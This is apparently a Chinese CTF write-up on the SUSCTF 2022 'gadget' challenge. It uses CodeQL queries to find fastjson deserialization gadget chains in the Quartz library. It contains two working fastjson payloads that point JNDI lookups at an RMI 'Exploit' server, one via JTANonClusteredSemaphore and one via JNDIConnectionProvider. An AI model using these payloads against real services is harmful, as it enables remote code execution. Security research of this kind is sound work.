例题SUSCTF 2022 gadget , 可以参考使用CodeQL分析CTF题目 - SecPulse.COM | 安全脉搏
环境搭建 采用fastjson 1.2.36,文章作者在github clone下来2.2.1版本然后编译。
不得不说java的版本兼容就是依托史,换了好几个maven和java版本均不行,有的报错查都查不到。。。
忘了在哪找了个附件quartz.jar, 决定用反编译来搭建环境。
使用github项目https://github.com/ttonys/CodeQLAnalyseJar
跑起来又尼玛报错,看着好像是操作系统不一样导致的,我一直用的windows。
最终决定用jadx反编译后保存一下,丢进src1目录:
然后ant -f build.xml , 可以运行。
构建:
1 codeql database create e:/codeaudit/codeql/databases/quartz --language=java --command= "ant -f build.xml" --source-root=e :/your-source-root --overwrite
链子查找 直接用这个:
https://xz.aliyun.com/t/7482
核心代码在这:
1 2 3 4 5 6 7 8 9 10 11 MethodAccess seekSink (Method sourceMethod){ exists ( MethodAccess ma, Method method| (ma.getEnclosingStmt () = sourceMethod.getBody ().getAChild*() and method = ma.getMethod ()) or (ma.getEnclosingStmt () = sourceMethod.getBody ().getAChild*() and ma.getArgument (0 ).(ClassInstanceExpr).getAnonymousClass ().isAnonymous () and method = ma.getArgument (0 ).(ClassInstanceExpr).getAnonymousClass ().getAMethod ())| if method instanceof JNDIMethod then result = ma else result = seekSink (method) ) }
看着逻辑挺绕的,作者也没细讲。
ma.getEnclosingStmt() = sourceMethod.getBody().getAChild*(): 这部分条件要求 ma 对象所在的语句(enclosing statement)是给定方法 sourceMethod 的一个子语句。换句话说,ma 对象是在 sourceMethod 方法的主体中被访问的。
和1差不多,查找了匿名类的sink
有该成员变量。并且有setter。
sink:
可以给出一个poc:
1 {\"@type \":\"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore\",\"TransactionManagerJNDIName\":\"rmi://127.0.0.1:1389/Exploit\", \"transaction\":{\"$ref \":\"$.transaction\"}}
原文章里打错了,他的poc里Transaction开头t应该小写。
另一个没有setUrl,但是观察过后也是可以利用的,我们挖掘fastjson往往关注getter和setter,而忽略了构造函数。
改进 fastjson parse的时候是会调用public的含参构造函数的,其实可以加一条:
1 2 3 4 5 class FastjsonConstructorMethod extends Constructor { FastjsonConstructorMethod () { this .isPublic() } }
由于Constructor和Method都是继承自Callable,那么改一下seekSink:
1 MethodAccess seekSink (Callable sourceMethod ){
可以看一下,JNDIConnectionProvider的构造函数会设置this.url, 然后进入init, init里有jndi查询:
诶这不就能打了,给个poc:
1 "{\" @type\" :\" org.quartz.utils.JNDIConnectionProvider\" ,\" jndiUrl\" :\" rmi://localhost:1389/Exploit\" }"
另一个是写死的,没法利用。